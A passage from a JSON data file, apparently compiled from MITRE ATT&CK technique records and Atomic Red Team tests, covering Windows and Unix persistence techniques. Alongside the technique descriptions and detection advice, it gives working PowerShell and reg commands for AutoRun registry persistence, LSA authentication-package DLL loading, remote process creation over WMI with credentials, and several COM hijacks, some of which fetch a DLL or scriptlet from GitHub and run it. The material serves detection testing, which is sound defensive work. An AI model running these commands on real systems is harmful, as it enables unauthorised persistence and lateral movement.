- "command": "New-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Command Processor\" -Name \"AutoRun\" -Value \"#{command}\" -PropertyType \"String\"",
- "cleanup_command": "Remove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Command Processor\" -Name \"AutoRun\" -ErrorAction Ignore",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation)",
- "auto_generated_guid": "36b8dbf9-59b1-4e9b-a3bb-36e80563ef01",
- "description": "An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed.\n[reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433)",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command": {
- "description": "Command to Execute",
- "type": "string",
- "default": "notepad.exe"
- }
- },
- "executor": {
- "command": "$path = \"HKCU:\\Software\\Microsoft\\Command Processor\"\nif (!(Test-Path -path $path)){\n New-Item -ItemType Key -Path $path\n}\nNew-ItemProperty -Path $path -Name \"AutoRun\" -Value \"#{command}\" -PropertyType \"String\"",
- "cleanup_command": "Remove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Command Processor\" -Name \"AutoRun\" -ErrorAction Ignore",
- "name": "powershell"
- }
- },
- {
- "name": "WMI Invoke-CimMethod Start Process",
- "auto_generated_guid": "adae83d3-0df6-45e7-b2c3-575f91584577",
- "description": "The following Atomic will create a New-CimSession on a remote endpoint and start a process usnig Invoke-CimMethod.\nThis is a novel way to perform lateral movement or to start a remote process.\nThis does require WinRM to be enabled. The account performing the run will also need to be elevated.\nA successful execution will stdout that the process started. On the remote endpoint, wmiprvse.exe will spawn the given process.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "dest": {
- "description": "destination computer name",
- "type": "string",
- "default": "localhost"
- },
- "password": {
- "description": "password for account",
- "type": "string",
- "default": "P@ssword1"
- },
- "username": {
- "description": "account to use",
- "type": "string",
- "default": "Administrator"
- },
- "process": {
- "description": "process to spawn",
- "type": "string",
- "default": "calc.exe"
- }
- },
- "executor": {
- "name": "powershell",
- "elevation_required": true,
- "command": "# Set the remote computer name and credentials\n $RemoteComputer = \"#{dest}\"\n $PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\n\n # Create a CIM session\n $CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential\n\n # Define the process you want to start\n $ProcessToStart = \"#{process}\"\n\n # Invoke the Create method on the Win32_Process class to start the process\n $Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}\n\n # Check the result\n if ($Result.ReturnValue -eq 0) {\n Write-Host \"Process started successfully with Process ID: $($Result.ProcessId)\"\n } else {\n Write-Host \"Failed to start the process. Error code: $($Result.ReturnValue)\"\n }\n\n # Clean up the CIM session\n Remove-CimSession -CimSession $CimSession \n"
- }
- }
- ]
- },
- "T1546.004": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Robert Wilson",
- "Tony Lambert, Red Canary"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2",
- "type": "attack-pattern",
- "created": "2020-01-24T14:13:45.936Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.004",
- "url": "https://attack.mitre.org/techniques/T1546/004"
- },
- {
- "source_name": "intezer-kaiji-malware",
- "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/",
- "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020."
- },
- {
- "source_name": "bencane blog bashrc",
- "url": "https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/",
- "description": "Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved February 25, 2021."
- },
- {
- "source_name": "anomali-rocke-tactics",
- "url": "https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect",
- "description": "Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020."
- },
- {
- "source_name": "Linux manual bash invocation",
- "url": "https://wiki.archlinux.org/index.php/Bash#Invocation",
- "description": "ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021."
- },
- {
- "source_name": "Tsunami",
- "url": "https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/",
- "description": "Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020."
- },
- {
- "source_name": "anomali-linux-rabbit",
- "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat",
- "description": "Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020."
- },
- {
- "source_name": "Magento",
- "url": "https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html",
- "description": "Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020."
- },
- {
- "source_name": "ScriptingOSX zsh",
- "url": "https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/",
- "description": "Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021."
- },
- {
- "source_name": "PersistentJXA_leopitt",
- "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5",
- "description": "Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021."
- },
- {
- "source_name": "code_persistence_zsh",
- "url": "https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js",
- "description": "Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021."
- },
- {
- "source_name": "macOS MS office sandbox escape",
- "url": "https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a",
- "description": "Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021."
- },
- {
- "source_name": "ESF_filemonitor",
- "url": "https://objective-see.com/blog/blog_0x48.html",
- "description": "Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020."
- }
- ],
- "modified": "2021-08-20T18:01:52.120Z",
- "name": "Event Triggered Execution: .bash_profile and .bashrc",
- "description": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc
) and the user\u2019s home directory (~/
) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile
and /etc/profile.d
files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile
, ~/.bash_login
, or ~/.profile
which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile
to ensure execution. Adversaries have also leveraged the ~/.bashrc
file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout
file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile
, /etc/zshenv
, /etc/zprofile
, and /etc/zlogin
.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile
and ~/.zlogin
. The interactive shell uses the ~/.zshrc
to configure the user environment. Upon exiting, /etc/zlogout
and ~/.zlogout
are executed. For legacy programs, macOS executes /etc/bashrc
on startup.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to /etc/profile
and /etc/profile.d
, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells
file.\n",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "File: File Modification",
- "Command: Command Execution",
- "File: File Creation"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "identifier": "T1546.004"
- },
- "atomic_tests": []
- },
- "T1547.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec",
- "created": "2020-01-24T14:54:42.757Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.002",
- "url": "https://attack.mitre.org/techniques/T1547/002"
- },
- {
- "source_name": "Graeber 2014",
- "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
- "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017."
- },
- {
- "source_name": "Microsoft Configure LSA",
- "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx",
- "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015."
- },
- {
- "source_name": "MSDN Authentication Packages",
- "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx",
- "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\
with the key value of \"Authentication Packages\"=<target binary>
. The binary will then be executed by the system when the authentication packages are loaded.",
- "modified": "2022-04-20T16:29:36.291Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Authentication Package",
- "x_mitre_detection": "Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe
with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Module: Module Load",
- "Windows Registry: Windows Registry Key Modification",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1547.002"
- },
- "atomic_tests": [
- {
- "name": "Authentication Package",
- "auto_generated_guid": "be2590e8-4ac3-47ac-b4b5-945820f2fbe9",
- "description": "Establishes persistence using a custom authentication package for the Local Security Authority (LSA).\nAfter a reboot, Notepad.exe will be executed as child process of lsass.exe.\nPayload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.002/package\n[Related blog](https://pentestlab.blog/2019/10/21/persistence-security-support-provider/)\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Copy-Item $PathToAtomicsFolder\\T1547.002\\bin\\package.dll C:\\Windows\\System32\\\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" /v \"Authentication Packages\" /t REG_MULTI_SZ /d \"msv1_0\\0package.dll\" /f\n",
- "cleanup_command": "reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" /v \"Authentication Packages\" /t REG_MULTI_SZ /d \"msv1_0\" /f\nrm -force C:\\windows\\system32\\package.dll\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1128": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matthew Demaske, Adaptforward"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:40.168Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1128",
- "url": "https://attack.mitre.org/techniques/T1128"
- },
- {
- "url": "https://technet.microsoft.com/library/bb490939.aspx",
- "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.",
- "source_name": "TechNet Netsh"
- },
- {
- "url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html",
- "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.",
- "source_name": "Demaske Netsh Persistence"
- },
- {
- "url": "https://github.com/outflankbv/NetshHelperBeacon",
- "description": "Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017.",
- "source_name": "Github Netsh Helper CS Beacon"
- }
- ],
- "modified": "2020-01-24T14:27:28.869Z",
- "name": "Netsh Helper DLL",
- "description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh
.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh
registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_system_requirements": [
- "{{LinkByID|S0108}}"
- ]
- },
- "atomic_tests": []
- },
- "T1546.015": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Elastic"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
- "type": "attack-pattern",
- "created": "2020-03-16T14:12:47.923Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.015",
- "url": "https://attack.mitre.org/techniques/T1546/015"
- },
- {
- "url": "https://msdn.microsoft.com/library/ms694363.aspx",
- "description": "Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.",
- "source_name": "Microsoft Component Object Model"
- },
- {
- "url": "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence",
- "description": "G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.",
- "source_name": "GDATA COM Hijacking"
- },
- {
- "source_name": "Elastic COM Hijacking",
- "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.",
- "url": "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com"
- }
- ],
- "modified": "2020-11-10T18:19:44.750Z",
- "name": "Event Triggered Execution: Component Object Model Hijacking",
- "description": "Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. \n\nAdversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. \n\nLikewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Module: Module Load",
- "Windows Registry: Windows Registry Key Modification",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1546.015"
- },
- "atomic_tests": [
- {
- "name": "COM Hijacking - InprocServer32",
- "auto_generated_guid": "48117158-d7be-441b-bc6a-d9e36e47b52b",
- "description": "This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.\n\nReference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "clsid_threading": {
- "description": "Threading Model",
- "type": "string",
- "default": "Apartment"
- },
- "dllpath": {
- "description": "Path to the DLL.",
- "type": "string",
- "default": "$env:TEMP\\AtomicTest.dll"
- },
- "clsid": {
- "description": "Class ID to hijack.",
- "type": "string",
- "default": "{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}"
- },
- "clsid_description": {
- "description": "Description for CLSID",
- "type": "string",
- "default": "MSAA AccPropServices"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "DLL For testing",
- "prereq_command": "if (Test-Path #{dllpath}) {exit 0} else {exit 1}",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/AtomicTest.dll\" -OutFile \"#{dllpath}\""
- }
- ],
- "executor": {
- "command": "New-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}' -Value '#{clsid_description}'\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Value #{dllpath}\nNew-ItemProperty -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType \"String\"\nStart-Process -FilePath \"C:\\Windows\\System32\\RUNDLL32.EXE\" -ArgumentList '-sta #{clsid}'",
- "cleanup_command": "Remove-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}' -Recurse -ErrorAction Ignore",
- "name": "powershell"
- }
- },
- {
- "name": "Powershell Execute COM Object",
- "auto_generated_guid": "752191b1-7c71-445c-9dbe-21bb031b18eb",
- "description": "Use the PowerShell to execute COM CLSID object.\nReference: https://pentestlab.blog/2020/05/20/persistence-com-hijacking/",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$o= [activator]::CreateInstance([type]::GetTypeFromCLSID(\"9BA05972-F6A8-11CF-A442-00A0C90A8F39\"))\n$item = $o.Item()\n$item.Document.Application.ShellExecute(\"cmd.exe\",\"/c calc.exe\",\"C:\\windows\\system32\",$null,0)\n",
- "cleanup_command": "Get-Process -Name \"*calc\" | Stop-Process\n",
- "name": "powershell"
- }
- },
- {
- "name": "COM Hijacking with RunDLL32 (Local Server Switch)",
- "auto_generated_guid": "123520cc-e998-471b-a920-bd28e3feafa0",
- "description": "This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via \"rundll32.exe -localserver [clsid]\". \nThis method is generally used as an alternative to 'rundll32.exe -sta [clsid]' to execute dll's while evading detection. \nReference: https://www.hexacorn.com/blog/2020/02/13/run-lola-bin-run/\nUpon successful execution of this test with the default options, whenever certain apps are opened (for example, Notepad), a calculator window will also be opened. ",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "clsid_threading": {
- "description": "Threading Model",
- "type": "string",
- "default": "Both"
- },
- "dll_path": {
- "description": "Path to the DLL.",
- "type": "string",
- "default": "$env:temp\\T1546.015_calc.dll"
- },
- "clsid": {
- "description": "Class ID to hijack.",
- "type": "string",
- "default": "{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}"
- },
- "clsid_description": {
- "description": "Description for CLSID",
- "type": "string",
- "default": "MSAA AccPropServices"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "DLL For testing",
- "prereq_command": "if (Test-Path #{dll_path}) {exit 0} else {exit 1}",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/T1546.015_calc.dll\" -OutFile \"#{dll_path}\""
- }
- ],
- "executor": {
- "command": "New-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}' -Value '#{clsid_description}'\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Value #{dll_path}\nNew-ItemProperty -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType \"String\"\nStart-Process -FilePath \"C:\\Windows\\System32\\RUNDLL32.EXE\" -ArgumentList '-localserver #{clsid}'",
- "cleanup_command": "Remove-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}' -Recurse -ErrorAction Ignore",
- "name": "powershell"
- }
- },
- {
- "name": "COM hijacking via TreatAs",
- "auto_generated_guid": "33eacead-f117-4863-8eb0-5c6304fbfaa9",
- "description": "This test first create a custom CLSID class pointing to the Windows Script Component runtime DLL. This DLL looks for the ScriptletURL key to get the location of the script to execute.\nThen, it hijacks the CLSID for the Work Folders Logon Synchronization to establish persistence on user logon by creating the 'TreatAs' with the malicious CLSID as default value. The\ntest is validated by running 'rundll32.exe -sta \"AtomicTest\"' to avoid logging out.\n\nReferences:\n\nhttps://youtu.be/3gz1QmiMhss?t=1251\n\nhttps://github.com/enigma0x3/windows-operating-system-archaeology",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest.1.00\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\\CLSID\" /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest.1.00\\CLSID\" /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\InprocServer32\" /ve /T REG_SZ /d \"C:\\WINDOWS\\system32\\scrobj.dll\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\InprocServer32\" /v \"ThreadingModel\" /T REG_SZ /d \"Apartment\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\ProgID\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\ScriptletURL\" /ve /T REG_SZ /d \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/src/TreatAs.sct\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\VersionIndependentProgID\" /ve /T REG_SZ /d \"AtomicTest\" /f\n\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\\TreatAs\" /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\n\nrundll32.exe -sta \"AtomicTest\" ",
- "cleanup_command": "reg delete \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\" /f\nreg delete \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg delete \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\" /f",
- "name": "powershell"
- }
- }
- ]
- },
- "T1137.004": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Office 365"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--bf147104-abf9-4221-95d1-e81585859441",
- "type": "attack-pattern",
- "created": "2019-11-07T20:09:56.536Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1137.004",
- "url": "https://attack.mitre.org/techniques/T1137/004"
- },
- {
